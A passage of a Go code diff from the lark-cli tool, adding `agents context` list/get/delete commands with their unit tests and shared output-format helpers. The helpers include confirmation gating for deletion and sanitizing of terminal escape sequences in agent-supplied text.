+		func(w io.Writer) { printContextDetailPretty(w, detail) })
+}
+
+// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
+// first so a missing confirmation returns confirmation_required (exit 10) before
+// any provider is built and holds even under a nil Factory. Only a
+// confirmed delete reaches resolveSpec + DeleteContext.
+func agentContextDeleteRun(opts *contextOptions) error {
+	if !opts.Yes {
+		// Not the generic English RequireConfirmation: deletion is the most
+		// destructive gate in the agent tree, so the message must state the
+		// irreversible blast radius in the same voice (Chinese, self-contained)
+		// as the other two exit-10 gates.
+		return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents context delete",
+			"删除会话将不可逆地移除该会话及其名下全部任务记录").
+			WithHint("确认要删除后，加 --yes 重发")
+	}
+
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE the client.
+	if spec.DeleteContext.Handler == nil {
+		return capabilityError(opts.Ref, "context delete", iagents.CapContextDelete)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.DeleteContext.Brands, opts.Ref, "context delete"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.DeleteContext.Params, iagents.VerbContextDelete, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	if err := spec.DeleteContext.Handler(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
+		return err
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}

cmd/agents/context_test.go

@@ -0,0 +1,578 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// contextCmdCtx builds a `lark-cli agents context <leaf>` command whose --as flag
+// is set to bot so ResolveAs honors it verbatim, and carries a context.
+func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agents"}
+	grp := &cobra.Command{Use: "context"}
+	l := &cobra.Command{Use: leaf}
+	root.AddCommand(group)
+	group.AddCommand(grp)
+	grp.AddCommand(l)
+	l.Flags().String("as", "", "identity")
+	if err := l.Flags().Set("as", "bot"); err != nil {
+		t.Fatal(err)
+	}
+	l.SetContext(context.Background())
+	return l
+}
+
+// contextTestOpts wires a contextOptions against a real (test) Factory,
+// addressing the scripted fakeflow agent agt_x under a bot identity. The
+// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
+// test; provider behavior is scripted via setScripted.
+func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
+	t.Helper()
+	registerScripted()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, reg := cmdutil.TestFactory(t, cfg)
+	return &contextOptions{
+		Factory:  f,
+		Cmd:      contextCmdCtx(t, leaf),
+		Ref:      "fakeflow:agt_x",
+		As:       "bot",
+		PageSize: defaultPageSize,
+	}, reg
+}
+
+// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
+// confirmation_required error (exit 10), raised before any provider is built.
+func TestContextDeleteRequiresYes(t *testing.T) {
+	err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
+	if err == nil {
+		t.Fatal("context delete without --yes should report confirmation_required")
+	}
+	if !errs.IsConfirmationRequired(err) {
+		t.Fatalf("should be a confirmation_required error, got %T", err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
+		t.Fatalf("exit code should be 10, got %d", code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
+		t.Fatalf("subtype should be confirmation_required, got %+v", p)
+	}
+}
+
+// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
+// deletes the session, and emits a success envelope.
+func TestContextDeleteWithYes(t *testing.T) {
+	opts, _ := contextTestOpts(t, "delete")
+	opts.CtxID = "sess_1"
+	opts.Yes = true
+	var deleted string
+	setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
+		deleted = ctxID
+		return nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextDeleteRun(opts); err != nil {
+		t.Fatalf("context delete --yes should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["context_id"] != "sess_1" || data["deleted"] != true {
+		t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
+	}
+	if deleted != "sess_1" {
+		t.Errorf("provider should receive the context id to delete, got %q", deleted)
+	}
+}
+
+// TestContextDeleteProviderError surfaces a provider DeleteContext failure
+// (non-zero business code) after --yes passes.
+func TestContextDeleteProviderError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "delete")
+	opts.CtxID = "sess_1"
+	opts.Yes = true
+	setScripted(t, scriptedHooks{deleteContext: func(string) error {
+		return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextDeleteRun(opts); err == nil {
+		t.Fatal("a DeleteContext error should propagate")
+	}
+}
+
+// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
+// after the --yes confirmation guard passes.
+func TestContextDeleteInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextListEmitsContexts pins that `context list` returns
+// {contexts:[...]} with a meta.count.
+func TestContextListEmitsContexts(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{
+			{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
+			{ContextID: "sess_2"},
+		}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	contexts, ok := data["contexts"].([]interface{})
+	if !ok || len(contexts) != 2 {
+		t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
+	}
+	if env.Meta == nil || env.Meta.Count != 2 {
+		t.Errorf("meta.count should be 2, got %+v", env.Meta)
+	}
+}
+
+// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
+// contract: the provider returns contexts in most-recent-first order (its
+// contract), and the command emits them verbatim while carrying the updated_at /
+// awaiting_input rollup for each (task_count is a `context get` field, never a
+// list one).
+func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{
+			{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", AwaitingInput: true},
+			{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z"},
+			{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z"},
+		}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	contexts, ok := data["contexts"].([]interface{})
+	if !ok || len(contexts) != 3 {
+		t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
+	}
+	want := []string{"new", "mid", "old"}
+	for i, w := range want {
+		c, _ := contexts[i].(map[string]interface{})
+		if c["context_id"] != w {
+			t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
+		}
+	}
+	first, _ := contexts[0].(map[string]interface{})
+	if first["updated_at"] != "2026-07-05T12:00:00Z" {
+		t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
+	}
+	if _, ok := first["task_count"]; ok {
+		t.Errorf("context list entries must not carry task_count, got %v", first["task_count"])
+	}
+	if first["awaiting_input"] != true {
+		t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
+	}
+}
+
+// TestContextListPaginationMeta pins the command-level pagination envelope for
+// context list: a provider that returns a page plus PageInfo{HasMore,NextToken}
+// surfaces as meta.has_more / meta.page_token, and meta.next carries a "下一页"
+// action whose command replays the ref with --page-size / --page-token.
+func TestContextListPaginationMeta(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.PageSize = 2
+	setScripted(t, scriptedHooks{listContexts: func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		if page.Size != 2 {
+			t.Errorf("the hook should receive the requested page size 2, got %d", page.Size)
+		}
+		return []iagents.ContextSummary{
+				{ContextID: "sess_1", UpdatedAt: "2026-07-05T12:00:00Z"},
+				{ContextID: "sess_2", UpdatedAt: "2026-07-05T11:00:00Z"},
+			},
+			iagents.PageInfo{NextToken: "2", HasMore: true}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("paged context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	if env.Meta == nil {
+		t.Fatal("a paged list should carry meta")
+	}
+	if !env.Meta.HasMore {
+		t.Error("meta.has_more should be true")
+	}
+	if env.Meta.PageToken != "2" {
+		t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
+	}
+	found := false
+	for _, n := range env.Meta.Next {
+		if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents context list fakeflow:agt_x") &&
+			strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
+			found = true
+		}
+	}
+	if !found {
+		t.Errorf("meta.next should contain a 下一页 action replaying the ref + --page-size/--page-token, got %+v", env.Meta.Next)
+	}
+}
+
+// TestContextListError surfaces a provider ListContexts failure.
+func TestContextListError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return nil, iagents.PageInfo{}, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextListRun(opts); err == nil {
+		t.Fatal("a ListContexts error should propagate")
+	}
+}
+
+// TestContextListInvalidRef surfaces a malformed ref as a validation error.
+func TestContextListInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
+// the task_count / awaiting_input rollup + a single active_task — and NO longer
+// a full tasks[] array (that moved to `agents task list --context-id`). The
+// active task's is_terminal is derived from State (input_required ⇒ false).
+func TestContextGetEmitsDetail(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{
+			ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
+			UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: iagents.Int(2), AwaitingInput: true,
+			ActiveTask: &iagents.TaskSummary{
+				TaskID: "chat_2", State: iagents.StateInputRequired,
+				UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
+			},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["context_id"] != "sess_1" {
+		t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
+	}
+	if data["title"] != "销售分析" {
+		t.Errorf("data.title should be echoed, got %v", data["title"])
+	}
+	if data["task_count"] != float64(2) {
+		t.Errorf("data.task_count should be 2, got %v", data["task_count"])
+	}
+	if data["awaiting_input"] != true {
+		t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
+	}
+	if _, hasTasks := data["tasks"]; hasTasks {
+		t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
+	}
+	active, ok := data["active_task"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("data.active_task should be present, got %v", data["active_task"])
+	}
+	if active["task_id"] != "chat_2" {
+		t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
+	}
+	if active["is_terminal"] != false {
+		t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
+	}
+	if active["summary"] != "请提供季度" {
+		t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
+	}
+}
+
+// TestContextGetError surfaces a provider GetContext failure.
+func TestContextGetError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(string) (*iagents.ContextDetail, error) {
+		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextGetRun(opts); err == nil {
+		t.Fatal("a GetContext error should propagate")
+	}
+}
+
+// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
+func TestContextGetInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextListWithJq pins the --jq output branch for list: the filtered
+// value (not the full envelope) is what reaches stdout.
+func TestContextListWithJq(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{{ContextID: "sess_1"}}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list --jq should not error: %v", err)
+	}
+	got := strings.TrimSpace(string(out.Bytes()))
+	if got != "1" {
+		t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
+	}
+	if strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
+	}
+}
+
+// TestContextListEmptyEmitsArray pins the array convention: an empty context
+// list serializes as [] (never null), matching Card.Parameters.
+func TestContextListEmptyEmitsArray(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return nil, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	v, present := data["contexts"]
+	if !present {
+		t.Fatal("data.contexts key should be present")
+	}
+	if _, ok := v.([]interface{}); !ok {
+		t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
+	}
+	if env.Meta != nil {
+		t.Errorf("empty list should omit meta entirely (no ambiguous {} shape), got %+v", env.Meta)
+	}
+}
+
+// TestContextListPretty exercises the --format pretty human-view branch for
+// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
+// stripped of ANSI escapes.
+func TestContextListPretty(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{
+			{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
+		}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list --format pretty should not error: %v", err)
+	}
+	s := string(out.Bytes())
+	if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
+		t.Errorf("pretty output should start with a header row, got %q", s)
+	}
+	if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
+		t.Errorf("pretty output should contain context_id and title, got %q", s)
+	}
+	if strings.Contains(s, "\x1b") {
+		t.Errorf("ANSI sequences in Title must be stripped: %q", s)
+	}
+	if strings.Contains(s, `"ok"`) {
+		t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
+	}
+}
+
+// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
+// filtered through the jq expression.
+func TestContextGetWithJq(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	opts.Cmd.Flags().String("jq", "", "")
+	if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
+		t.Fatal(err)
+	}
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{ContextID: ctxID}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get --jq should not error: %v", err)
+	}
+	got := strings.TrimSpace(string(out.Bytes()))
+	if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
+	}
+}
+
+// TestContextGetPretty pins the --format pretty branch on context get: key:
+// value lines with the task_count / awaiting_input rollup + a one-line
+// active_task digest, title ANSI-stripped, and no full tasks[] list.
+func TestContextGetPretty(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{
+			ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
+			TaskCount: iagents.Int(1), AwaitingInput: false,
+			ActiveTask: &iagents.TaskSummary{
+				TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true, Summary: "分析完成",
+			},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get --format pretty should not error: %v", err)
+	}
+	s := string(out.Bytes())
+	for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
+		if !strings.Contains(s, want) {
+			t.Errorf("pretty output should contain %q, got %q", want, s)
+		}
+	}
+	if strings.Contains(s, "\x1b") {
+		t.Errorf("ANSI sequences in title must be stripped: %q", s)
+	}
+	if strings.Contains(s, "tasks:") {
+		t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
+	}
+}
+
+// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
+func findSub(cmd *cobra.Command, name string) *cobra.Command {
+	for _, c := range cmd.Commands() {
+		if c.Name() == name {
+			return c
+		}
+	}
+	return nil
+}
+
+// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
+// RunE) with list/get/delete leaves.
+func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
+	cmd := NewCmdAgentContext(nil)
+	if cmd.RunE != nil || cmd.Run != nil {
+		t.Error("agents context group should not have RunE")
+	}
+	want := []string{"list", "get", "delete"}
+	for _, name := range want {
+		if findSub(cmd, name) == nil {
+			t.Errorf("missing subcommand context %s", name)
+		}
+	}
+}
+
+// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
+// the default flip: --format defaults to json.
+func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentContextList(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("context list missing ref should report an argument error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("context list with a single ref should be valid: %v", err)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil || fl.DefValue != "json" {
+		t.Errorf("context list --format default should flip to json, got %+v", fl)
+	}
+}
+
+// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
+// the added --format / --jq flags.
+func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentContextGet(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
+		t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
+		t.Errorf("context get ref+ctx-id should be valid: %v", err)
+	}
+	for _, name := range []string{"format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("context get should have a --%s flag", name)
+		}
+	}
+}
+
+// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
+// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
+func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
+	cmd := NewCmdAgentContextDelete(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
+		t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
+		t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
+	}
+	if cmd.Flags().Lookup("yes") == nil {
+		t.Error("context delete should have a --yes flag")
+	}
+	for _, name := range []string{"format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("context delete should have a --%s flag", name)
+		}
+	}
+}

cmd/agents/format.go

@@ -0,0 +1,272 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// This file holds the --format surface shared by every agent leaf: value
+// validation, the pretty renderers (task key:value view, list
+// header-TSV views) with ANSI stripping for agent-controlled text, and the
+// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
+// validation error carrying a 用法 hint.
+package agents
+
+import (
+	"fmt"
+	"io"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/validate"
+)
+
+// formatFlagHelp is the uniform --format help text across every agent leaf
+// (json is the tree-wide default, pretty the human opt-in).
+const formatFlagHelp = "output format: json (default) | pretty"
+
+// validateFormat rejects any --format outside json|pretty as a
+// validation/invalid_argument error (exit 2). The empty string is accepted for
+// options structs built directly in tests; the registered flag default is
+// "json" so a CLI invocation never passes "".
+func validateFormat(format string) error {
+	switch format {
+	case "", "json", "pretty":
+		return nil
+	}
+	return errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"不支持的 --format 值 %q", format).
+		WithParam("--format").
+		WithHint("合法值: json | pretty")
+}
+
+// stripANSI sanitizes agent-controlled text before it is written raw to a
+// terminal by a pretty renderer, preventing terminal escape-sequence injection.
+// It delegates to validate.SanitizeForTerminal, which is a superset of the
+// mandated CSI regex:
+// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
+// Unicode. JSON output paths must NOT use this — programmatic consumers get
+// the raw data.
+func stripANSI(s string) string {
+	return validate.SanitizeForTerminal(s)
+}
+
+// kvValue sanitizes an agent-controlled value for a single-line "key: value"
+// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
+// SanitizeForTerminal deliberately preserves those, so without this a value
+// like "done\nstate: completed" would forge an adjacent field row. TSV
+// renderers keep plain stripANSI under their documented no-escape exemption.
+func kvValue(s string) string {
+	s = stripANSI(s)
+	s = strings.ReplaceAll(s, "\n", " ")
+	return strings.ReplaceAll(s, "\t", " ")
+}
+
+// truncateRunes caps s at max runes, appending an ellipsis when truncated.
+func truncateRunes(s string, max int) string {
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max]) + "…"
+}
+
+// firstTextOf returns the first text Part carried by the task's messages
+// (typically the caller's request), or "".
+func firstTextOf(task *iagents.AgentTask) string {
+	for _, m := range task.Messages {
+		for _, p := range m.Parts {
+			if p.Type == "text" && p.Text != "" {
+				return p.Text
+			}
+		}
+	}
+	return ""
+}
+
+// lastAgentTextOf returns the last agent-authored text Part — the task's
+// current RESULT line, the same word the task-list SUMMARY column uses. The
+// single-task pretty view must show the outcome, not just echo the request.
+func lastAgentTextOf(task *iagents.AgentTask) string {
+	for i := len(task.Messages) - 1; i >= 0; i-- {
+		if task.Messages[i].Role != "agent" {
+			continue
+		}
+		for _, p := range task.Messages[i].Parts {
+			if p.Type == "text" && p.Text != "" {
+				return p.Text
+			}
+		}
+	}
+	return ""
+}
+
+// printTaskPretty renders the task-class pretty view: line-per-field
+// key: value with state / task_id / context_id / first text message truncated
+// to 120 runes / artifacts count. Every agent-controlled string goes through
+// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
+// terminal sequences nor forge an adjacent field row.
+func printTaskPretty(w io.Writer, task *iagents.AgentTask) {
+	if task == nil {
+		fmt.Fprintln(w, "(no task)")
+		return
+	}
+	fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
+	fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
+	if task.ContextID != "" {
+		fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
+	}
+	if req := firstTextOf(task); req != "" {
+		fmt.Fprintf(w, "request: %s\n", truncateRunes(kvValue(req), 120))
+	}
+	if reply := lastAgentTextOf(task); reply != "" {
+		fmt.Fprintf(w, "reply: %s\n", truncateRunes(kvValue(reply), 120))
+	}
+	fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
+	// input_required question group: group headline, then numbered questions
+	// with their answer form and options. Every field is agent-controlled, so
+	// all go through kvValue.
+	if ir := task.InputRequired; ir != nil {
+		head := ir.Label
